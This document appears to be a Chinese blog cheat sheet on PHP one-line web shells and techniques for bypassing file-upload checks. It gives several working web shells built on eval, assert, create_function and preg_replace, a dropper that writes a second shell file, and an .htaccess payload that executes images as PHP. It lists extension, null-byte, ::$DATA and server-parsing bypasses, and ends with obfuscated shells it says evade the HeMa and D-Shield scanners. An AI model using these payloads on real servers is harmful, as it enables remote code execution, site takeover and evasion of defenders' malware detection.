PHP一句话木马

经典语句

<?php @eval($_POST['cmd']);?>

其中:
(1) @ 为错误抑制符号
(2) eval 执行php代码
(3) $_POST[‘cmd’] 通过post接收的数据
意思为eval把接受的数据当做php代码执行

其他函数

create_function 函数

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

call_user_func 函数

<?php
@call_user_func(assert,$_POST['a']);
?>

image.png

assert

<?php assert(@$_POST['a']); ?>

image.png

preg_replace函数

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

image.png

file_put_contents 函数

"shell.php" 4L, 96C
<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("shell2.php", $test);
?>

配置文件

user.ini

image.png
可以在.user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini
在p牛的文章中提到了两个有趣的设置:auto_prepend_fileauto_append_file
我们再到手册中看了下这两个设置的定义:
image.png
大致意思就是:我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);
这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

htacess

1、基本作用:
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
2、启用.htacess,启用AllowOVerride
image.png

# payload
AddType  application/x-httpd-php    .jpg
SetHandler application/x-httpd-php

绕过

script

GIF89a
<script language='php'>system('cat /flag');</script>

content-type

content-type:
        image/jpeg
        image/png
        image/gif
        text/php
        text/plain

黑名单

php3
php5
phtml
pHp3

大小写双写绕过

pHp
PhP
pHP
pphphp

DATA绕过

::)DATA      ##Windows会自动去掉末尾的::\)DATA

%00截断

在url中%00表示ascii码中的0,而ascii中0作为特殊字符保留,表示字符串结束

限制条件:
php版本要小于5.3.4,5.3.4及以上已经修复该问题            
magic_quotes_gpc需要为OFF状态

GET传参,直接在后面输入%00即可,在GET传参中url会把%00解码成空字符
POST传参,需要把%00进行url编码,在POST传参中,%00不会被url解码

图片头

GIF89a

js绕过

关闭js

特殊文件名绕过

发送的 http 包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式在 windows 系统里是不被允许的,所以需要在 burp 之类里进行修改,然后绕过验证后,会被 windows 系统自动去掉后面的点和空格,但要注意 Unix/Linux 系统没有这个特性。

IIS解析漏洞

V6.0

1 目录解析以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2 文件解析*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx3 默认解析.asp .aspx .ashx .asa .cer这是系统默默认的后缀名

Apache解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如xxx.php.rar对apache来说rar是不可解析的,所以就会解析成xxx.php

nginx解析漏洞

开启cgi:SCRIPT_NAME FASTCGI:
www.xx.com/a.jpg/.php(任何不存在文件)-----可以解析为.php文件

a.jpg:<?php phpinfo();?>
a.php%00.jpg----解析为a.php

过查杀

能过河马,过不了D盾

<?php
 $b=&$a;
 $a=$_POST['a'];
 $c=&$b;
 eval(`/**123**/`.$c);
?>

能过D盾

<?php
$do = 'todo';
$$do =$_POST['q'];
eval(`/**123**/`.$todo);
?>
上一篇 下一篇